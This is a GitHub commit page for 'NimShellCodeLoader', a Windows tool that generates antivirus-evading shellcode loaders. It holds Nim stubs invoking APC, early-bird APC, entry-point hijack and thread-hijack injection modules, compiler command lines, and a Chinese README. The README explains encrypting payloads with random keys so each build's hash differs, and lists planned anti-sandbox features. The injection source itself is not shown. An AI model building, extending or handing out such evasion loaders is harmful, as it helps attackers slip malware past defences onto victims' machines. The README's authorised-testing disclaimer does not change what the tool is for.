Skip to content

Commit db408c0

Browse files
author
mysa
committed
Initial commit
Initial commit
0 parents  commit db408c0

36 files changed

+2073
-0
lines changed

APC_Ijnect_Load.nim

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
import public
2+
3+
{.compile: "module\\APC.cpp".}
4+
proc APCNim(plainBuffer:cstring,size:cint):cint {.importcpp:"APC(@)",header:"module\\public.hpp".}
5+
6+
discard APCNim(code,codelen)

Compiler.ini

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
[compile]
2+
OEP Hiijack-Inject Load=nim cpp -d:<encrypt> --passL:-static -d:release -d:source="<source>" --app:gui --passL:-lntdll --opt:size -o:.\bin\ -f OEP_Hiijack_Inject_Load.nim
3+
Thread Hiijack-Inject Load=nim cpp -d:<encrypt> --passL:-static -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Thread_Hiijack_Inject_Load.nim
4+
APC-Ijnect Load=nim cpp -d:<encrypt> --passL:-static -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f APC_Ijnect_Load.nim
5+
Early Bird APC-Injetc Load=nim cpp -d:<encrypt> --passL:-static -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Early_Bird_APC_Injetc_Load.nim

Early_Bird_APC_Injetc_Load.nim

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
import public
2+
3+
{.compile: "module\\Early_APC.cpp".}
4+
proc EarlyAPCNim(plainBuffer:cstring,size:cint):cint {.importcpp:"Early(@)",header:"module\\public.hpp".}
5+
6+
discard EarlyAPCNim(code,codelen)

OEP_Hiijack_Inject_Load.nim

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
import public
2+
3+
{.compile: "module\\OEP.cpp".}
4+
proc OEPNim(plainBuffer:cstring,size:cint):cint {.importcpp:"OEP(@)",header:"module\\public.hpp".}
5+
6+
discard OEPNim(code,codelen)

README.md

Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
<h1 align="center"> NimShellCodeLoader</h1><h2 align="center">Nim编写Windows平台shellcode免杀加载器</h2>
2+
快速生成免杀可执行文件
3+
4+
![codeloader](pic/codeloader.png)
5+
## 特点:
6+
7+
1:自带四种加载方式
8+
9+
2:可自行拓展加载方式
10+
11+
3:支持两种加密技术,分别位`3des`加密和凯撒密码,密钥随机,每次生成文件拥有不同hash
12+
13+
<h3 style="color: red;">仅限用于技术研究和获得正式授权的测试活动。</h3>
14+
## 文件组成:
15+
16+
**`bin` 中存放生成的可执行文件**
17+
18+
**`encryption` 存放加密代码文件**
19+
20+
**`module` 中存放c++功能文件**
21+
22+
![file](pic/file.png)
23+
24+
## 安装:
25+
26+
**1、安装`nim`最新版**
27+
28+
**2、下载本项目,分别编译`encryption`中的`Tdea.nim``Caesar.nim`**
29+
30+
`nim c -d:release --opt:size Tdea.nim`
31+
32+
`nim c -d:release --opt:size Caesar.nim`
33+
34+
**3、编译c#项目,将可执行文件放到当前目录**
35+
36+
## 使用方法:
37+
38+
**1、打开生成器**
39+
40+
**2、将payload拖动到该窗口**
41+
42+
![first](pic/first.png)
43+
44+
**3、选择加载方式,点击生成,可执行文件会保存到bin文件夹中**
45+
46+
![second](pic/second.png)
47+
48+
49+
50+
## 拓展:
51+
52+
**1、新建`nim`代码文件,引用`public`,获取code(解密的明文shellcode)和`codelen`(明文shellcode长度)**
53+
54+
**![code](pic/code.png)**
55+
56+
**2、将c++的功能代码放到`module`文件夹中,在新建的`nim`文件中调用**
57+
58+
**3、修改`Compiler.ini`文件,添加一行,key为加载方式,value为编译使用的命令行,其中<source>为shellcode文件位置的占位符,<encrypt>为加密方式的占位符,其余可以自行定义。**
59+
60+
![config](pic/config.png)
61+
62+
## 引用:
63+
64+
都是网上公开的方法
65+
66+
https://github.com/Moriarty2016
67+
68+
https://github.com/knownsec/shellcodeloader
69+
70+
https://github.com/byt3bl33d3r/OffensiveNim
71+
72+
## TODO:
73+
74+
- 增加更多的加载方式
75+
76+
- 增加反沙箱等功能
77+
78+
- 增加加密方式

Thread_Hiijack_Inject_Load.nim

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
import public
2+
3+
{.compile: "module\\Thread.cpp".}
4+
proc ThreadNim(plainBuffer:cstring,size:cint):cint {.importcpp:"Thread(@)",header:"module\\public.hpp".}
5+
6+
discard ThreadNim(code,codelen)

codeLoader/.vs/codeLoader/v16/.suo

52.5 KB
Binary file not shown.

codeLoader/codeLoader.sln

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
2+
Microsoft Visual Studio Solution File, Format Version 12.00
3+
# Visual Studio 14
4+
VisualStudioVersion = 14.0.24720.0
5+
MinimumVisualStudioVersion = 10.0.40219.1
6+
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "codeLoader", "codeLoader\codeLoader.csproj", "{9D1C4E5F-AC7B-4B0B-BB71-FFD5E2C18094}"
7+
EndProject
8+
Global
9+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
10+
Debug|Any CPU = Debug|Any CPU
11+
Release|Any CPU = Release|Any CPU
12+
EndGlobalSection
13+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
14+
{9D1C4E5F-AC7B-4B0B-BB71-FFD5E2C18094}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15+
{9D1C4E5F-AC7B-4B0B-BB71-FFD5E2C18094}.Debug|Any CPU.Build.0 = Debug|Any CPU
16+
{9D1C4E5F-AC7B-4B0B-BB71-FFD5E2C18094}.Release|Any CPU.ActiveCfg = Release|Any CPU
17+
{9D1C4E5F-AC7B-4B0B-BB71-FFD5E2C18094}.Release|Any CPU.Build.0 = Release|Any CPU
18+
EndGlobalSection
19+
GlobalSection(SolutionProperties) = preSolution
20+
HideSolutionNode = FALSE
21+
EndGlobalSection
22+
EndGlobal

codeLoader/codeLoader/Form1.Designer.cs

Lines changed: 251 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

0 commit comments

Comments
 (0)